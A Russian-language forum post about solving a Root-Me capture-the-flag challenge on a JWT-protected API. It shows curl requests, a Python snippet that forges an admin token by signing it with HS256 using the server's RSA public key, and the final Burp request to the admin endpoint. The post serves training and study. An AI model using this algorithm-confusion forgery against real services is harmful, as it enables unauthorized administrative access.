Добрый день,
уже несколько дней не могу пройти данный
CTF root-me проблема возникает именно на последнем этапе.. который я уже вроде и понял как нужно проходить.
Statement
You find an API with 3 endpoints:
/key (accessible with GET)
/auth (accessible with POST)
/admin (accessible with POST)
There is sure to be important data in the admin section, access it!
Получаю публичный ключ.
1.
curl challenge01.root-me.org/web-serveur/ch60/key
привожу его в человеческий формат:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxDoTVDg3znEGjlTjHb+l
Ev+KuEav5DYdTP+QhQEUl/h2w9BEEBiIz7Sg0BDH2HlacE9dYoIhzBCPSKG6gOqt
FIlhNts2S7vuPJq7RyNgDkNi829ah7V914yTqkpKTaqCHN7psvxjefRnijNxMUoI
0MWBvwZkDRBS6yVCxzLcgrAO5nBZHHd+f5pTE3qIfenEpyGeIElj0g1JkZQlkJz8
13eH+nvJP7wcwciU8CvSKs3BWvw4bSE2BkzvE1bsoi8Z2fha0RkTwvX2ENdF8XvB
KrNhIFTDqmMQGl3qMA8WhJG+aBuNJJDNaOv9VUut9gfUzzEmoHWm5wksArHeOprt
6wIDAQAB
-----END PUBLIC KEY-----
Получаю свой токен
2.
curl -X POST -d "username=admin;" http://challenge01.root-me.org/web-serveur/ch60/auth
{"Here is your token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluOyJ9.Lu0uyubEQjoSDKcS8VKD6ou6RCt-8Emi7TGRmpxLeT8hD7Vb79EfVAlRqJTPDpLJmGoJLvBr6MNZXUgzU10VSi-oMWufM6P8pL4z68riQOdAfO9-7w3ut1CNM_yIaqi_HMdAEyb4ue3qlxBhAtCSVGhvQBLt-0hPXh6Gm6ZklfBoXMscWhJtvCLqrP5s_pb5otneS0AT0djohvUc466o_maOA-Silu8Sjlte7NzTcx7P6pJkKiBqv7cBVyfuVmZewB0vNghQL8mOzalV_utoow4teMTt3wFc8VYdBczimWchkSQKJhUi60kocNdVlv-xD1x6Gl43Jmky1DTFy28-kg", "result": "Hello admin;"}
3. Немного почитав я пришел к выводу что на третьем этапе нужно отправить токен подписанный полученным паблик ключем(alg:RSA) при том что сервер ожидает токен с подписью HMAC(HS256/HS512) благодаря этому сервер автоматически примет мой токен, я пробую
сразу создать и подписать токен в python.
import jwt
public = open('key.pem', 'r').read()
print public
print jwt.encode({"username":"admin"}, key=public, algorithm='HS256')
На входе получаю свой токен который мне необходимо отправить:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4
Отправляю свой подписанный токен:
curl -X POST http://challenge01.root-me.org/web-serveur/ch59/admin -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4'
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}
Решил: кому интересно вот запрос для burp-a:
POST /web-serveur/ch60/admin HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Authorization: Bearer твой_подписанный_токен
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0